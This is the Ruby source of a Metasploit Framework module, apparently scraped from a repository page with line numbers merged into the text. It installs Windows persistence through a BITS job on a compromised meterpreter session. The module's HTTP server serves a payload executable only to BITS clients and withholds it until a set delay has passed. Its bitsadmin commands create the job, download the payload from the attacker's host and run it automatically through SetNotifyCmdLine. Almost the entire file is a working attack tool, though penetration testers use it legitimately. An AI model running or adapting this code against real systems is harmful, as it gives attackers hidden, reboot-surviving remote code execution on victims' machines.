Path: blob/master/modules/exploits/windows/persistence/bits.rb
59979 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::Windows::Priv9include Msf::Post::File10include Msf::Exploit::Remote::HttpServer11include Msf::Exploit::Local::Persistence # persistence and HttpServer get funky together with overwriting exploit function12include Msf::Exploit::EXE13prepend Msf::Exploit::Remote::AutoCheck1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Windows Persistence Bits Job',20'Description' => %q{21This module establishes persistence through a BITS job that22downloads and executes a payload. Background Intelligent Transfer Service23(BITS) is a Windows service for transferring files in the background24using idle network bandwidth. BITS jobs are persistent and will resume25across reboots until completed or cancelled.2627BITS does not include a timing mechanism for when jobs are run, so we control that28in how we respond to the HTTP requests from the BITS client. This avoids needing29to set up an external trigger to start the job like a scheduled task or similar.3031Similarily, BITS jobs are somewhat clock agnostic, so while we can set some32time parameters, the aren't a guarantee of when the job will actually run.33Jobs that we've idled via HTTP server response will have a "CONNECTING" status.3435BITS is fickle about the HTTP responses it expects, so we have to be precise in36how the server responds. For a HEAD request we need to send back a correct37Content-Length header matching the payload size, but with no body. For GET requests38we need to handle byte range requests properly (althought not always used),39sending back the appropriate40Content-Range headers. If we respond incorrectly BITS may error out or retry41in unexpected ways. However, we can trick BITS into not getting the payload until42we want by responding to the GET requests with no body (aka how we responded to43the HEAD requests) until our delay time has reached.44},45'License' => MSF_LICENSE,46'Author' => [47'h00die',48],49'Platform' => [ 'win' ],50'Arch' => [ ARCH_X86, ARCH_X64 ],51'SessionTypes' => [ 'meterpreter' ],52'Targets' => [53[ 'Automatic', {} ]54],55'References' => [56['ATT&CK', Mitre::Attack::Technique::T1197_BITS_JOBS],57['URL', 'https://pentestlab.blog/2019/10/30/persistence-bits-jobs/'],58['URL', 'https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin'],59['URL', 'https://learn.microsoft.com/en-us/windows/win32/bits/life-cycle-of-a-bits-job'],60],61'DefaultTarget' => 0,62'Stance' => Msf::Exploit::Stance::Passive,63'Passive' => true,64'DisclosureDate' => '2001-10-01', # bits release date65'Notes' => {66'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],67'Stability' => [CRASH_SAFE],68'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]69}70)71)7273register_options([74OptString.new('JOB_NAME', [false, 'The name to use for the bits job provider. (Default: random)' ]),75OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),76# DELAY is a bit of a misnomer, as BITS jobs run when the system deems fit. So this is simply a light77# suggestion to the system78OptInt.new('DELAY', [false, 'Delay in seconds before callback.', 1.hours.to_i]),79OptInt.new('RETRY_DELAY', [false, 'Delay in seconds between retries.', 10.minutes.to_i]),80])81end8283def writable_dir84d = super85return session.sys.config.getenv(d) if d.start_with?('%')8687d88end8990def http_response_head91# unfortunately if we include a content-length header like:92# return send_response(cli, generate_payload_exe, { 'Content-Length' => generate_payload_exe.bytesize })93# it gets overwritten to 0 by the http server if the body is empty, so we have to build and send our http server94# response to headers manually so they adhere to the spec close enough for BITS to accept it.95# You may also think that we can just send the full payload here, but BITS expects no body on HEAD requests and96# it starts acting differently, let alone this would be a tell that its MSF not a normal HTTP server.9798response = create_response(200, 'OK', '1.0')99headers = [100# we want to send an arbitrarily low content length to prevent the server from doing Ranges.101# while there is code to handle that, I've yet to determine a method to delay it from getting102# the payload or going into an ERROR state and ceasing the job.103"Content-Length: 5\r\n",104# "Content-Length: #{@pload.bytesize}\r\n",105"Accept-Ranges: none\r\n",106"Last-Modified: #{Time.now.httpdate}"107]108response = response.to_s109response = response.sub('Content-Length: 0', headers.join)110response = response.sub("Content-Type: text/html\r\n", "Content-Type: application/vnd.microsoft.portable-executable\r\n")111response112end113114def http_response_range(start_byte, end_byte)115payload_size = @pload.bytesize116if start_byte && end_byte117# normal range: bytes=100-200118chunk = @pload.byteslice(start_byte, end_byte - start_byte + 1)119elsif start_byte && !end_byte120# bytes=500- (from 500 to end)121chunk = @pload.byteslice(start_byte, payload_size - start_byte)122end_byte = payload_size - 1123elsif !start_byte && end_byte124# bytes=-100 (last 100 bytes)125chunk = @pload.byteslice(payload_size - end_byte, end_byte)126start_byte = payload_size - end_byte127end_byte = payload_size - 1128else129# fallback: send entire payload130chunk = @pload131start_byte = 0132end_byte = payload_size - 1133end134135vprint_status("HTTP Server: Sending bytes #{start_byte}-#{end_byte} of #{payload_size} to BITS client")136headers = {137'Content-Type' => 'application/vnd.microsoft.portable-executable',138'Content-Range' => "bytes #{start_byte}-#{end_byte}/#{payload_size}"139}140141response = create_response(206, 'Partial Content', '1.0')142response.body = chunk143response.headers.merge!(headers)144response.to_s145end146147def on_request_uri(cli, request)148vprint_status("HTTP Server: #{request.method} #{request.uri} requested by #{request['User-Agent']} on #{cli.peerhost}")149unless request['User-Agent'].downcase.include?('bits')150vprint_error('HTTP Server: Non BITS client detected, sending 404')151return152end153154unless %w[HEAD GET].include?(request.method)155vprint_error("HTTP Server: Ignoring #{request.method} request")156return157end158159if request.method == 'HEAD'160vprint_good('HTTP Server: HEAD request received, sending response')161return cli.put(http_response_head)162end163164# BITS may use byte ranges, so we need to parse that out and send back the appropriate data165if request.headers['Range'] =~ /bytes=(\d*)-(\d*)/166start_byte = Regexp.last_match(1).empty? ? nil : Regexp.last_match(1).to_i167end_byte = Regexp.last_match(2).empty? ? nil : Regexp.last_match(2).to_i168169return cli.put(http_response_range(start_byte, end_byte))170end171172if @start_time + datastore['DELAY'] > Time.now.to_i173message = "HTTP Server: Early BITS connection, waiting till #{Time.at(@start_time + datastore['DELAY']).strftime('%m/%d/%Y %H:%M:%S')} (#{(@start_time + datastore['DELAY']) - Time.now.to_i}s left), sending empty body back to force a retry"174175vprint_status(message)176return cli.put(http_response_head)177end178179vprint_status('HTTP Server: Sending full payload to BITS client')180return send_response(cli, @pload, { 'Content-Type' => 'application/vnd.microsoft.portable-executable' })181end182183def check184print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value185return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)186187Msf::Exploit::CheckCode::Vulnerable('Likely exploitable')188end189190def install_persistence191@pload = generate_payload_exe192endpoint = Rex::Text.rand_text_alphanumeric(8..12)193194start_service({195'Uri' => {196'Proc' => proc do |cli, req|197on_request_uri(cli, req)198end,199'Path' => "/#{endpoint}"200},201'ssl' => false202})203204job_name = datastore['JOB_NAME'] || Rex::Text.rand_text_alphanumeric(8..12)205payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alphanumeric(8..12)206payload_name += '.exe' unless payload_name.downcase.end_with?('.exe')207208result = cmd_exec("bitsadmin /create \"#{job_name}\"")209id = begin210result.match(/Created job (\{[0-9A-Fa-f-]{36}\})\./)[0]211rescue StandardError212nil213end214fail_with(Failure::UnexpectedReply, 'Failed to create BITS job') unless id215print_good("Successfully created BITS job #{job_name} with ID #{id}")216@start_time = Time.now.to_i217cmd_list =218[219%(bitsadmin /addfile "#{job_name}" "http://#{srvhost_addr}:#{srvport}/#{endpoint}" "#{writable_dir}\\#{payload_name}"),220# this next line is a little complex. first we tell bits to complete the job which means after it's done transfering move the downloaded file from221# a temp file to its final location and delete the job. Then run our payload222223%(bitsadmin /SetNotifyCmdLine "#{job_name}" "cmd.exe" "/c bitsadmin /complete \\\"#{job_name}\\\" && if exist \\\"#{writable_dir}\\#{payload_name}\\\" start /b \\\"\\\" \\\"#{writable_dir}\\#{payload_name}\\\"\""),224%(bitsadmin /SetMinRetryDelay "#{job_name}" #{datastore['RETRY_DELAY']}), # seconds225%(bitsadmin /setpriority "#{job_name}" high),226%(bitsadmin /setnoprogresstimeout "#{job_name}" 10), # seconds227%(bitsadmin /resume "#{job_name}")228]229cmd_list.each do |cmd|230vprint_status("Executing: #{cmd}")231result = cmd_exec(cmd)232vprint_line(" #{result.lines.last.chomp}") if result && !result.empty?233end234235print_good("Persistence installed! Payload will be downloaded to #{writable_dir}\\#{payload_name} when the BITS job #{job_name} runs.")236@clean_up_rc << "bitsadmin /cancel \"#{id}\"\n"237@clean_up_rc << "rm \"#{(writable_dir + '\\' + payload_name).gsub('\\', '/')}\"\n" # just in case one did execute238end239end240241242